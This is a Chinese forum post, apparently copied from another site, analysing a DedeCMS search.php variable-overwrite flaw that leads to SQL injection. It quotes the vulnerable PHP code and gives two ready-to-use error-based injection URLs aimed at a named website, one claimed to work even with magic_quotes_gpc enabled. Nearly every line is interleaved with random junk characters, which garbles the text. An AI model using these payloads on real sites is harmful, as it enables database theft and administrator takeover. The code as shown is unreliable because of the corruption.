微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.3 U, b3 ], n9 l0 I4 ?" s: [
作者: c4rp3nt3r@0x50sec.org
- ?8 Q6 Q" v c' Y& U1 kDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: U8 c' u) `1 X7 Q, X! w 4 F% }6 V' v9 W0 |" C1 Y
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.: H* j! q: \% N9 N1 k
# t. y5 E$ c- S7 `( h
============5 o4 V6 T, M: y$ ~& K* e
( _9 A4 T( i* z( m5 K- H " y8 ?+ F! ?' R, F: f
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
+ y5 c0 ^: L) D9 P9 U! X
9 w3 c+ y4 ? u/ n6 v6 Xrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
- N2 }+ S. O5 ?. l6 M8 A* Hrequire_once(DEDEINC.”/arc.searchview.class.php”);
- X3 v ]6 W5 D# \
: X' q( r! z q, K$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;; s9 w* a1 U" |% R$ ]# d8 c% }
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;! m( B% ?$ D. b! }
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
7 a7 l/ T: x/ C$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;5 H# `& R8 p$ p
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;/ M2 y& B+ _* w& }+ M
9 J/ |; Z- d H" t' S& b
if(!isset($orderby)) $orderby=”;
: Q. N. P# g8 {7 f0 \2 y7 Welse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);9 k$ q/ m8 A, Z& M- B5 }5 c
* e; w9 w) i" V
) h6 g, Q' v* o- U9 i- L& }% Kif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
0 b/ S3 O2 i1 c+ Z* @1 Felse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);! d& ]/ S0 x) B* p. f& ]% B; a
. U+ H B( f! S; ^8 d% t8 J% tif(!isset($keyword)){
2 r# j' x/ Z& W ^ if(!isset($q)) $q = ”;
5 N6 M3 u$ k$ e* _9 n& d% k* F) u g $keyword=$q;1 j' ^6 v% b) k% J" \8 H5 k3 Z4 K
}3 o- X( v- \1 c6 L' F
8 p4 K( R* @8 E# c0 i$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));! u$ R5 U) ~4 V" E* h
3 ^% M3 `5 q4 v
//查找栏目信息' w8 H' Z8 u$ Z, r' b
if(empty($typeid))0 e' r Z# i9 D6 T( y* ~8 S7 _
{
/ n& K9 O1 B8 u8 ]4 J% k! n $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;* @* J- P% S1 |
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
0 Z. x q0 H( I* K0 h1 \ {
1 l! W4 y6 q, N) [, b/ A2 Z $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
3 ]) r3 W8 `; {5 Z fwrite($fp, “<”.”?php\r\n”);
]3 b; X( X3 u# o( g, z( B $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);% O, X: V7 K: x
$dsql->Execute();! P% u: G" G& X# b' f* r W; W5 u
while($row = $dsql->GetArray())+ F# f: o+ q6 \$ L
{
; S- _# z" t! p: W* t+ | fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);2 M! [7 Z% ^- P% I8 Y
}% p* U8 w& {% m( U% P, U
fwrite($fp, ‘?’.'>’);
9 C& \ u* y% J7 V2 I3 s" Z6 @" Q fclose($fp);$ Q4 p5 V0 D k% }! j# T
}
8 q4 \- D/ U% |* ]4 N7 W8 Y //引入栏目缓存并看关键字是否有相关栏目内容
) ^. M* @: M- @: P require_once($typenameCacheFile);- j$ w' W2 ~0 m: O1 m
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个+ D4 z3 _# ^. h8 y% p8 W
//6 V* n/ F8 w, C0 Z
if(isset($typeArr) && is_array($typeArr))1 g4 W' t! _, i
{" ]1 T& g- |- k: b4 ^
foreach($typeArr as $id=>$typename)$ ?2 ^$ T2 n3 L8 e6 _7 K
{" G8 P7 U3 ~2 v
. t; A" G7 |" p <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过% U M3 f! [/ z. D. F6 }
if($keyword != $keywordn)+ q& x1 p- O' D+ {
{
$ r+ }! R; c6 P% [ $keyword = $keywordn;$ P' c6 V" z) z6 m# l, b
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
* V8 U- Q5 k- p2 G; l+ O1 l break;
) V$ ~) y* g: y4 w } d8 r% b( _& k/ R
}
+ J1 w4 A L" u% i! d }
& s9 Q# _$ |1 ?- v, e; z}
1 l: |# u7 L. k. b然后plus/search.php文件下面定义了一个 Search类的对象 .0 J1 ]/ Y7 N' f6 E& N1 y
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.- z8 j2 u$ C0 k( `7 e
$this->TypeLink = new TypeLink($typeid);
; u2 k4 Y) m7 f6 V
2 [ q$ Q& g5 U, ~( BTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
0 X' @. d) u" a* U5 e, k N 1 H. {: F/ D, I+ @! B
class TypeLink/ y# Q. L5 x8 F0 @' X2 U
{
8 K6 e( h; ~5 k var $typeDir;. Z) Q% ^# n) M% \! r, b: {$ b
var $dsql;1 W( Z. M# ^# k/ K$ p; R, ]4 `( L
var $TypeID;
6 ?0 Y! ]$ y/ b0 f var $baseDir;* b/ D {* g1 ]0 j7 _+ Z' j
var $modDir;
9 M. C$ i1 H: I8 D0 a- h var $indexUrl;
! E' Z& ]1 g, g$ N% p var $indexName;
- P+ P D+ z$ x r: [. ^7 f7 K var $TypeInfos;$ _7 L0 _! s. T4 o, B: h
var $SplitSymbol; u6 ?9 Z5 h7 L( r. ~
var $valuePosition;
/ y( F- t# S9 ] var $valuePositionName;
. |" p H6 S% i1 E5 E' p( w var $OptionArrayList;//构造函数///////% R% R' _0 k/ M) g6 B% f
//php5构造函数% L# l$ A! p& r( s. e; E& z
function __construct($typeid)
% }4 b: f) e# R {" a8 @4 A2 e) ?6 W' O* H+ k" l- d
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
) x. C1 f) y2 w4 x' D4 F7 T+ ]0 E* Q( j $this->indexName = $GLOBALS['cfg_indexname'];! h: h* m9 r7 K5 c
$this->baseDir = $GLOBALS['cfg_basedir'];
|1 w1 N8 w2 H* g $this->modDir = $GLOBALS['cfg_templets_dir'];
/ y+ S$ K2 m9 c) D4 I $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];6 t1 ?. l% N. a
$this->dsql = $GLOBALS['dsql'];' }' m+ m7 n8 H$ m' e+ J
$this->TypeID = $typeid;) u* v, X; g8 M. s6 x5 ?$ s+ i
$this->valuePosition = ”;
+ i, u, d7 Y% U" a% d+ w+ ] $this->valuePositionName = ”;
* w8 ^7 r) N4 B$ G! ^2 A5 S $this->typeDir = ”;
. v* H8 n. a" x) ^7 h+ g" ^3 G6 { $this->OptionArrayList = ”;
) k: K9 r' t0 V: n* ]! c7 M, i+ g
: c% _7 a: R5 [& X6 R' j& G //载入类目信息% a& d- r+ z- R& B/ U& o4 r5 u
# O, Z1 K8 W1 \0 d6 [: ^# W
<font color=”Red”>$query = “SELECT tp.*,ch.typename as( ~4 f* r, }3 ?6 q2 I$ w
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join6 N: @, K- J& C( Y: f
`#@__channeltype` ch
, [0 x: K6 J- s1 R) ` on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
. ^0 e j6 d0 S& w' u ' |. m0 P+ q, W# ~
if($typeid > 0)4 u {8 o* w4 ^6 U8 e. G
{
3 Y/ r7 w% P9 |0 l2 O3 w, Y2 S $this->TypeInfos = $this->dsql->GetOne($query);4 a7 w$ S4 f# T* X9 X# N
利用代码一 需要 即使magic_quotes_gpc = Off+ L6 k* h/ H" O; b4 J: D
6 W& f: ~* j/ C* n
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title/ D% A9 s; n3 M8 {5 ^: f( G
" ~0 _, u; ?- O( v/ n
这只是其中一个利用代码… Search 类的构造函数再往下. X9 W! E/ o9 k b- d @+ t
9 o4 U* C) `* `6 c/ ^
……省略
) ?9 R" L5 v0 i5 D" v R$ C6 ]( f$this->TypeID = $typeid;! h4 b' h/ W7 R3 I0 X# `* u8 s, G
……省略0 N& p$ r" _# |( R R6 c: v3 q! A
if($this->TypeID==”0″){
: h* q$ V0 s2 ?: |4 N3 z $this->ChannelTypeid=1;
) r( ]2 b2 c/ ]1 _3 p- X }else{
1 l; F( Y: ?5 z* J/ x; F/ N9 u $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
% B \3 S3 ^; r# ?1 k* o//现在不鸡肋了吧亲…0 Q6 S$ k. f2 {- m5 ?, l3 a5 k
$this->ChannelTypeid=$row['channeltype'];; F4 o( O; o# G( S# J
- K |# F7 l! ?+ a5 c# u9 _. m; O
}6 ^5 z; _ h" |. {1 H
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.9 i7 Q1 t' z9 I3 {0 n% U
6 j: t7 k9 j) J6 d) {4 |- ^www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title- F( s% `8 k/ R/ @# d
+ ~7 G |; S R- k; S# X/ l
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站& r8 N/ D# x: [2 U% F9 I
|